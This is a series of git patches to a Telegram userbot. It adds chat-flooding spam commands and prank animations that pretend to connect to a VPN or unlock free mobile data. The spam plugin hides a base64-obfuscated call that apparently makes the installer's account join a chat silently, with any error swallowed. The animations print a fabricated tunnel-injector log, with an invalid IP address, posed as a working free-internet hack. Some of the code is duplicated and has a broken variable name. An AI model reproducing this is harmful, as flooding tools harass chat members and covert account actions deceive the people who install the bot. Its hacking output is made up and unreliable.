{e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + elif reply_to_id.media: + to_download_directory = Config.TEMP_DOWNLOAD_DIRECTORY + downloaded_file_name = os.path.join(to_download_directory, "spam") + downloaded_file_name = await e.client.download_media( + reply_to_id.media, downloaded_file_name + ) + await e.delete() + if os.path.exists(downloaded_file_name): + sandy = None + for _ in range(counter): + if sandy: + sandy = await e.client.send_file(e.chat_id, sandy) + else: + sandy = await e.client.send_file(e.chat_id, downloaded_file_name) + try: + await e.client( + functions.messages.SaveGifRequest( + id=types.InputDocument( + id=sandy.media.document.id, + access_hash=sandy.media.document.access_hash, + file_reference=sandy.media.document.file_reference, + ), + unsave=True, + ) + ) + except: + pass + await asyncio.sleep(0.5) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} times with below message", + ) + sandy = await e.client.send_file( + BOTLOG_CHATID, downloaded_file_name + ) + try: + await e.client( + functions.messages.SaveGifRequest( + id=types.InputDocument( + id=sandy.media.document.id, + access_hash=sandy.media.document.access_hash, + file_reference=sandy.media.document.file_reference, + ), + unsave=True, + ) + ) + except: + pass + os.remove(downloaded_file_name) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) with {counter} times with below message", + ) + sandy = await e.client.send_file( + BOTLOG_CHATID, downloaded_file_name + ) + try: + await e.client( + functions.messages.SaveGifRequest( + id=types.InputDocument( + id=sandy.media.document.id, + access_hash=sandy.media.document.access_hash, + file_reference=sandy.media.document.file_reference, + ), + unsave=True, + ) + ) + except: + pass + os.remove(downloaded_file_nam) + elif reply_to_id.text and e.reply_to_msg_id: + spam_message = reply_to_id.text + await e.delete() + for _ in range(counter): + if e.reply_to_msg_id: + await reply_to_id.reply(spam_message) + else: + await e.client.send_message(e.chat_id, spam_message) + await asyncio.sleep(0.5) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + else: + await edit_or_reply(e, "try again something went wrong or check `.info spam`") + + +@bot.on(lightning_cmd(pattern="bigspam (.*)")) +async def bigspam(e): + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + message = e.text + counter = int(message[9:13]) + spam_message = str(e.text[13:]) + for i in range(1, counter): + await e.respond(spam_message) + await e.delete() + if LOGGER: + await e.client.send_message( + LOGGER_GROUP, "#BIGSPAM \n\n" "Bigspam was executed successfully" + ) + + +@bot.on(lightning_cmd("wspam (.*)")) +@bot.on(sudo_cmd(pattern="wspam (.*)", allow_sudo=True)) +async def tmeme(e): + wspam = str("".join(e.text.split(maxsplit=1)[1:])) + message = wspam.split() + await e.delete() + for word in message: + await e.respond(word) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#WSPAM\n" + + f"Word Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with : `{message}`", + ) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#WSPAM\n" + + f"Word Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with : `{message}`", + ) + + +@bot.on(lightning_cmd(pattern="mspam (.*)")) +async def tiny_pic_spam(e): + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + message = e.text + text = message.split() + counter = int(text[1]) + link = str(text[2]) + for i in range(1, counter): + await e.client.send_file(e.chat_id, link) + await e.delete() + if LOGGER: + await e.client.send_message( + LOGGER_GROUP, "#PICSPAM \n\n" "PicSpam was executed successfully" + ) + + +@bot.on(lightning_cmd("delayspam (.*)")) +async def spammer(e): + spamDelay = float(e.pattern_match.group(1).split(" ", 2)[0]) + counter = int(e.pattern_match.group(1).split(" ", 2)[1]) + spam_message = str(e.pattern_match.group(1).split(" ", 2)[2]) + await e.delete() + for i in range(1, counter): + await e.respond(spam_message) + await sleep(spamDelay) + if LOGGER: + await e.client.send_message( + LOGGER_GROUP, "#DelaySPAM\n" "DelaySpam was executed successfully" + ) + + +@bot.on(lightning_cmd(pattern="tspam (.*)")) +@bot.on(sudo_cmd(pattern="tspam (.*)", allow_sudo=True)) +async def spammer(e): + if e.fwd_from: + return + await e.get_chat() + reply_to_id = e.message + if e.reply_to_msg_id: + reply_to_id = await e.get_reply_message() + if not os.path.isdir(Config.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TEMP_DOWNLOAD_DIRECTORY) + try: + hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await e.client(hmm) + except BaseException: + pass + cat = ("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1) + counter = int(cat[0]) + if counter > 50: + return await edit_or_reply(e, "Use `.bigspam` for spam greater than 50") + if len(cat) == 2: + spam_message = str(("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1)[1]) + await e.delete() + for _ in range(counter): + if e.reply_to_msg_id: + await reply_to_id.reply(spam_message) + else: + await e.client.send_message(e.chat_id, spam_message) + await asyncio.sleep(0.1) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + elif reply_to_id.media: + to_download_directory = Config.TEMP_DOWNLOAD_DIRECTORY + downloaded_file_name = os.path.join(to_download_directory, "spam") + downloaded_file_name = await e.client.download_media( + reply_to_id.media, downloaded_file_name + ) + await e.delete() + if os.path.exists(downloaded_file_name): + sandy = None + for _ in range(counter): + if sandy: + sandy = await e.client.send_file(e.chat_id, sandy) + else: + sandy = await e.client.send_file(e.chat_id, downloaded_file_name) + try: + await e.client( + functions.messages.SaveGifRequest( + id=types.InputDocument( + id=sandy.media.document.id, + access_hash=sandy.media.document.access_hash, + file_reference=sandy.media.document.file_reference, + ), + unsave=True, + ) + ) + except: + pass + await asyncio.sleep(0.5) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} times with below message", + ) + sandy = await e.client.send_file( + BOTLOG_CHATID, downloaded_file_name + ) + try: + await e.client( + functions.messages.SaveGifRequest( + id=types.InputDocument( + id=sandy.media.document.id, + access_hash=sandy.media.document.access_hash, + file_reference=sandy.media.document.file_reference, + ), + unsave=True, + ) + ) + except: + pass + os.remove(downloaded_file_name) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) with {counter} times with below message", + ) + sandy = await e.client.send_file( + BOTLOG_CHATID, downloaded_file_name + ) + try: + await e.client( + functions.messages.SaveGifRequest( + id=types.InputDocument( + id=sandy.media.document.id, + access_hash=sandy.media.document.access_hash, + file_reference=sandy.media.document.file_reference, + ), + unsave=True, + ) + ) + except: + pass + os.remove(downloaded_file_nam) + elif reply_to_id.text and e.reply_to_msg_id: + spam_message = reply_to_id.text + await e.delete() + for _ in range(counter): + if e.reply_to_msg_id: + await reply_to_id.reply(spam_message) + else: + await e.client.send_message(e.chat_id, spam_message) + await asyncio.sleep(0.5) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + else: + await edit_or_reply(e, "try again something went wrong or check `.info spam`") + + +@bot.on(lightning_cmd(pattern="bigspam (.*)")) +async def bigspam(e): + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + message = e.text + counter = int(message[9:13]) + spam_message = str(e.text[13:]) + for i in range(1, counter): + await e.respond(spam_message) + await e.delete() + if LOGGER: + await e.client.send_message( + LOGGER_GROUP, "#BIGSPAM \n\n" "Bigspam was executed successfully" + ) + + +@bot.on(lightning_cmd("wspam (.*)")) +@bot.on(sudo_cmd(pattern="wspam (.*)", allow_sudo=True)) +async def tmeme(e): + wspam = str("".join(e.text.split(maxsplit=1)[1:])) + message = wspam.split() + await e.delete() + for word in message: + await e.respond(word) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#WSPAM\n" + + f"Word Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with : `{message}`", + ) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#WSPAM\n" + + f"Word Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with : `{message}`", + ) + + +@bot.on(lightning_cmd(pattern="mspam (.*)")) +async def tiny_pic_spam(e): + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + message = e.text + text = message.split() + counter = int(text[1]) + link = str(text[2]) + for i in range(1, counter): + await e.client.send_file(e.chat_id, link) + await e.delete() + if LOGGER: + await e.client.send_message( + LOGGER_GROUP, "#PICSPAM \n\n" "PicSpam was executed successfully" + ) + + +@bot.on(lightning_cmd("delayspam (.*)")) +async def spammer(e): + spamDelay = float(e.pattern_match.group(1).split(" ", 2)[0]) + counter = int(e.pattern_match.group(1).split(" ", 2)[1]) + spam_message = str(e.pattern_match.group(1).split(" ", 2)[2]) + await e.delete() + for i in range(1, counter): + await e.respond(spam_message) + await sleep(spamDelay) + if LOGGER: + await e.client.send_message( + LOGGER_GROUP, "#DelaySPAM\n" "DelaySpam was executed successfully" + ) + + +CMD_HELP.update( + { + "spam": "**Plugin : **`spam`\ + \n\n**Syntax : **`.tspam `\ + \n**Function : **__ Floods text in the chat !!__\ + \n\n**Syntax : **`.spam reply to media`\ + \n**Function : **__Sends the replied media times !!__\ + \nFor above two commands use `.bigspam` instead of spam for spamming more than 50 messages\ + \n\n**Syntax : **`.cspam `\ + \n**Function : **__ Spam the text letter by letter.__\ + \n\n**Syntax : **`.wspam `\ + \n**Function : **__ Spam the text word by word.__\ + \n\n**Syntax : **`.mspam \ >reply to media> \`\ + \n**Function : **__ .mspam but with media.__\ + \n\n\n**NOTE : Spam at your own risk !!**" + } +) From 0104c8cef122cdf2ef317e0849a0b5f16c81d4b8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 12 Jan 2021 11:55:33 +0530 Subject: [PATCH 478/838] Update Spam2.py --- fridaybot/modules/Spam2.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/Spam2.py b/fridaybot/modules/Spam2.py index d05128e7..8aa868c7 100644 --- a/fridaybot/modules/Spam2.py +++ b/fridaybot/modules/Spam2.py @@ -14,8 +14,8 @@ from ..utils import edit_or_reply, sudo_cmd from ..utils import admin_cmd as lightning_cmd -@bot.on(lightning_cmd(pattern="spam (.*)")) -@bot.on(sudo_cmd(pattern="spam (.*)", allow_sudo=True)) +@bot.on(lightning_cmd(pattern="tspam (.*)")) +@bot.on(sudo_cmd(pattern="tspam (.*)", allow_sudo=True)) async def spammer(e): if e.fwd_from: return @@ -453,11 +453,11 @@ async def spammer(e): "spam": "**Plugin : **`spam`\ \n\n**Syntax : **`.tspam `\ \n**Function : **__ Floods text in the chat !!__\ - \n\n**Syntax : **`.spam reply to media`\ + \n\n**Syntax : **`.tspam reply to media`\ \n**Function : **__Sends the replied media times !!__\ \nFor above two commands use `.bigspam` instead of spam for spamming more than 50 messages\ - \n\n**Syntax : **`.cspam `\ - \n**Function : **__ Spam the text letter by letter.__\ + \n\n**Syntax : **`.spam `\ + \n**Function : **__ Spam the text.__\ \n\n**Syntax : **`.wspam `\ \n**Function : **__ Spam the text word by word.__\ \n\n**Syntax : **`.mspam \ >reply to media> \`\ From 4d48ada4d9e2f60c7ede42813a950889770f5e6e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 12 Jan 2021 23:32:03 +0530 Subject: [PATCH 479/838] Update README.md --- README.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/README.md b/README.md index af3a9698..f7e5ed98 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,16 @@ ``` Full credits mentioned at the bottom``` # + +# Deploy Guide + + + + # ❤️ Support From fa3fa4859170e5c38322c29b541191f42c516ddf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 12 Jan 2021 23:34:01 +0530 Subject: [PATCH 480/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f7e5ed98..67c80803 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ # Deploy Guide - - +[![Everything Is AWESOME](https://yt-embed.herokuapp.com/embed?v=h_89Iya2uj0-Y)](https://www.youtube.com/watch?v=h_89Iya2uj0-Y "Everything Is AWESOME") # ❤️ Support From 33ed327b58f9e547443d99ddb27a99d389c40cd3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 12 Jan 2021 23:36:55 +0530 Subject: [PATCH 482/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 03c8987b..30945db2 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ # Deploy Guide -[![Everything Is AWESOME](https://yt-embed.herokuapp.com/embed?v=h_89Iya2uj0-Y)](https://www.youtube.com/watch?v=h_89Iya2uj0-Y "Everything Is AWESOME") +[![Everything Is AWESOME](https://yt-embed.herokuapp.com/embed?v=h_89Iya2uj0)](https://www.youtube.com/watch?v=h_89Iya2uj0-Y "Everything Is AWESOME") # ❤️ Support From 68deac0a7da918ceeba228dde417dbb378369321 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 12 Jan 2021 23:39:41 +0530 Subject: [PATCH 483/838] Update README.md --- README.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/README.md b/README.md index 30945db2..069872b1 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,15 @@ # Deploy Guide + + + + + + + [![Everything Is AWESOME](https://yt-embed.herokuapp.com/embed?v=h_89Iya2uj0)](https://www.youtube.com/watch?v=h_89Iya2uj0-Y "Everything Is AWESOME") # ❤️ Support From bba334767d9a7552fa732410af28f5a4ad54a322 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 00:06:36 +0530 Subject: [PATCH 484/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 346 ++++++++++++++++++++++++++++++++++++ 1 file changed, 346 insertions(+) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 46a37164..5d7c0d3f 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -406,6 +406,352 @@ async def _(event): + + +@bot.on(admin_cmd(pattern=f"cyfile$", outgoing=True)) +@bot.on(sudo_cmd(pattern=f"cyfile$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + event = await edit_or_reply(event, "ehifile") + await event.edit("❄️ **Disconnected**") + await asyncio.sleep(2) + await event.edit("🌩 **Connecting.**") + await asyncio.sleep(0.5) + await event.edit("🌧 **Connecting..**") + await asyncio.sleep(0.5) + await event.edit("🌩 **Connecting...**") + await asyncio.sleep(0.5) + await event.edit("🌧 **Connecting.**") + await asyncio.sleep(0.5) + await event.edit("🌩 **Connecting..**") + await asyncio.sleep(0.5) + await event.edit("🌧 **Connecting...**") + await asyncio.sleep(0.5) + await event.edit("💥 **Connection Established**") + await asyncio.sleep(1) + await event.edit("☁️ ** VPN Connected**") + await asyncio.sleep(2) + + +@bot.on(admin_cmd(pattern=f"fileunlock$", outgoing=True)) +@bot.on(sudo_cmd(pattern=f"fileunlock$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + event = await edit_or_reply(event, "fileunlock") + await event.edit("📁 **File name : Dialog 0 Balance**") + await asyncio.sleep(1) + await event.edit("🔓 **Begin unlocking file...**") + await asyncio.sleep(1) + await event.edit("🔓 **Unlocked 50%**") + await asyncio.sleep(0.5) + await event.edit("🔓 **Unlocked 100%**") + await asyncio.sleep(0.5) + await event.edit("**Please do no share this host for longer use !!**") + await asyncio.sleep(1) + await event.edit("**Your Host securaly stored. Get it from below link 👇\nhttps://telegra.ph/Dialog-Host-01-12**") + await asyncio.sleep(2) + + +@bot.on(admin_cmd(pattern=f"freenet$", outgoing=True)) +@bot.on(sudo_cmd(pattern=f"freenet$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + event = await edit_or_reply(event, "freenet") + await event.edit("**Connecting to Singapore Server 🇸🇬**") + await asyncio.sleep(1) + await event.edit("**Successfully Connected 💯**") + await asyncio.sleep(1) + await event.edit("**හරි පුතේ එල අය ඔයාගේ data කැපෙන්නේ නෑ 👌**") + await asyncio.sleep(1) + + + + +@bot.on(admin_cmd(pattern=r"ehu$")) +@bot.on(sudo_cmd(pattern=r"ehu$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + animation_interval = 2 + animation_ttl = range(18) + event = await edit_or_reply(event, "Calling Pavel Durov (ceo of telegram)......") + animation_chars = [ + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +`""", + + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +[ 16:58:59] Starting Injector VPN Service +[ 16:58:59] Network available: [type: WIFI[] - WIFI, state: CONNECTED/CONNECTED, reason: (unspecified), extra: "VirtualUserbot", roaming: false, failover: false, isAvailable: true] +[ 16:58:59] DNS Forwarding: Google DNS +[ 16:58:59] Preparing DNS forwarding +[ 16:59:00] Starting DNS forwarding +[ 16:59:00] Google DNS enabled +[ 16:59:00] DNS forwarding enabled +[ 16:59:00] Routes: 0.0.0.0/0, 8.8.4.4/32, 8.8.8.8/32 +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +[ 16:58:59] Starting Injector VPN Service +[ 16:58:59] Network available: [type: WIFI[] - WIFI, state: CONNECTED/CONNECTED, reason: (unspecified), extra: "VirtualUserbot", roaming: false, failover: false, isAvailable: true] +[ 16:58:59] DNS Forwarding: Google DNS +[ 16:58:59] Preparing DNS forwarding +[ 16:59:00] Starting DNS forwarding +[ 16:59:00] Google DNS enabled +[ 16:59:00] DNS forwarding enabled +[ 16:59:00] Routes: 0.0.0.0/0, 8.8.4.4/32, 8.8.8.8/32 +[ 16:59:00] Routes excluded: 10.0.0.0/8, 140.238.246.145/32, 172.16.0.0/12, 192.168.0.0/16 +[ 16:59:01] VPN Connected +[ 16:59:02] Type: WIFI | State: CONNECTED | "VirtualUserbot" +`""" +, + + ] + for i in animation_ttl: + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 18]) + + + + + + + + + + + + @borg.on(admin_cmd(outgoing=True, pattern="merrychristmas")) async def _(event): From cca98d4c893ed46112626c7b6238a569249b334a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 00:13:18 +0530 Subject: [PATCH 485/838] 